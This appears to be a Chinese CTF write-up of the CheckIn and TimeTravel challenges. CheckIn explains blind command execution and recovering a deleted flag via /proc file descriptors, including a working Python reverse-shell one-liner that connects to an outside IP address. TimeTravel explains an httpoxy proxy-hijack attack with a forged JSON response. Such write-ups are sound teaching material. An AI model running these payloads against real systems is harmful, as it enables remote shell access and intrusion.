HappyCTFd ctfd漏洞 cve-2020-7245
CheckIn 考点: 1.无回显rce 2.文件描述符
分析源码:
from flask import Flask, requestimport osapp = Flask(__name__) flag_file = open("flag.txt" , "r" ) @app.route('/shell') def shell (): os.system("rm -f flag.txt" ) exec_cmd = request.args.get('c' ) os.system(exec_cmd) return "1" @app.route('/') def source (): return open("app.py" ,"r" ).read() if __name__ == "__main__" : app.run(host='0.0.0.0' )
我们先分析下几个路由,很明显,我们可以在shell这个路由执行命令,但是他是无回显的,然后接下来我们可以看到,flag.txt这个文件,会先被打开,然后再执行删除命令,所以要如何读到这个flag呢?文件描述符 什么是文件描述符:内核利用文件描述符来访问文件。文件描述符是非负整数。打开现存文件或新建文件时,内核会返回一个文件描述符。读写文件也需要使用文件描述符来指定待读写的文件。
例如Python中,当我们open()函数打开一个文件时便创建了一个文件描述符,而后对这个文件描述符使用read()函数便是读取文件描述符中的内容,close()函数用于关闭/销毁这个文件描述符。
文件描述符储存在什么地方: /proc/<pid>/fd<id>
也就是说,我们可以通过cat进程中的fd来获取到文件描述符。而文件描述符中就存储着该文件的内容
无回显命令执行,一般都是考虑反弹shell操作,但是这里curl等一些常见命令都执行不了,这有这个可以
python3 -c ' import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("110.42.133.120",9999)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/bash","-i"]); '
接下来就使用以下命令
cd /proc ls cd /proc/[pid]#进程数字 cd /porc/[pid]/fd cat [文件描述符数字]
进行flag的查找即可
小结 这题的考点让我没想到的是,原来文件描述符里面可以存储文件的信息,只要你有对他进行操作既有,以前都是光用,没想到这个~,现在就明了了
TimeTravel <?php error_reporting(0 ); require __DIR__ . '/vendor/autoload.php' ;use GuzzleHttp \Client ;highlight_file(__FILE__ ); if (isset ($_GET['flag' ])) { $client = new Client(); $response = $client->get('http://127.0.0.1:5000/api/eligible' ); $content = $response->getBody(); $data = json_decode($content, TRUE ); if ($data['success' ] === true ) { echo system('/readflag' ); } } if (isset ($_GET['file' ])) { highlight_file($_GET['file' ]); } if (isset ($_GET['phpinfo' ])) { phpinfo(); }
拿到flag的条件是data[success]的条件为true,这里有个漏洞就是这题的考点https://github.com/vulhub/vulhub/tree/master/cgi/httpoxy 大致就是,如果定义了环境变量http_proxy,php内的http-api就会走这个代理。在这个phpinfo中就开启了cgi模式了,然后可以在服务器写入需要传入的一个true的内容,并在题目那边配置这个地址即可收到我们传入的content
HTTP/1.1 200 OK Server: nginx/1.14.2 Date: Fri, 06 Mar 2020 18:27:31 GMT Content-Type: text/html; charset=UTF-8 Connection: Keep-alive Content-Length: 16 {"success":true}